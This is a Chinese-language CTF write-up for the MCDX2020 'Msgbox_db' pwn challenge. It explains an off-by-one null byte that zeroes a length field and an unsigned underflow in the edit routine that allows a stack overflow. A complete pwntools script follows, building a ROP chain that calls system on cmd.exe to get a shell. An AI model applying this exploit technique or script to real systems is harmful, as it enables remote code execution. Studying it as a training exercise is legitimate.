# MCDX2020/PWN/Msgbox_db ###### tags: `CTF`,`PWN`,`MCDX2020` 題目檔案連結:http://gofile.me/6lhQ2/ozVrKjmQs 使用IDA字串搜索找到選單相關字串,連結找到選單處理menu_140048c60()  觀察stack變化,很容易看出結構  前面的0x28代表字數,後面的1代表這個database有資料,隨後接的0x28個字元就是database中的資料,這裡有個overflow的點,scanf在指定輸入字數時,會送回指定字數加一個空字元,但在這裡的字串處理卻是接收0x28個字元再把結尾改成\x00,導致當使用了完整0x28的空間時,會將\x00寫到下一個database的字數值,因此我們可以將某個datebase刪掉再寫入0x28長度的字串,就可以將下一個database的字數值寫成0  寫成0有何作用呢?這時候要看第二個利用點edit_140042432()  在編輯的時候,scanf吃的字數參數是原有字數值減1,如果編輯到字數被寫成0的database,那可寫入的長度就變成了0xffffffff,即可蓋到return address  此題有開nx,做ROP chain,值得一提的是,雖然內建cmd.exe,但因為位址內含0xd(CR字元),因此會被截斷,我的作法是另行將cmd.exe寫在stack上,因無ASLR的保護,可直接計算stack位址,不須leak,但在不同作業系統下會有不同位置,實測比賽主機為win10,感覺此題應有其他解法。 ``` from pwn import * context.arch = "amd64" local = False gdb1 = False debug = False if debug== True: context.log_level = "debug" if local == True: p = process("./") elf1 = ELF("./") if gdb1 == True: gdb.attach(p) else: p = remote("192.168.11.119",5951) def insert(Msg): p.recvuntil("[db]>>") p.sendline("1") p.recvuntil("Msg:") p.sendline(Msg) def remove(Index): p.recvuntil("[db]>>") p.sendline("2") p.recvuntil("Which MsgBox?") p.sendline(str(Index)) def edit(Index,Msg): p.recvuntil("[db]>>") p.sendline("3") p.recvuntil("Which MsgBox?") p.sendline(str(Index)) p.recvuntil("New record:") p.sendline(Msg) def disconnect(): p.sendline(str(5)) pop_rdi=0x140049055 cmd = 0x14fe38 system=0x140095483 rbp=0x14fca0 for i in range(10): insert(str(i)*40) remove(8) insert("cmd.exe"+"\x00"+str(i)*32) edit(9,b"a"*0x28+b"b"*80+p64(rbp)+p64(pop_rdi)+p64(cmd)+p64(system)) disconnect() p.interactive() ```
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up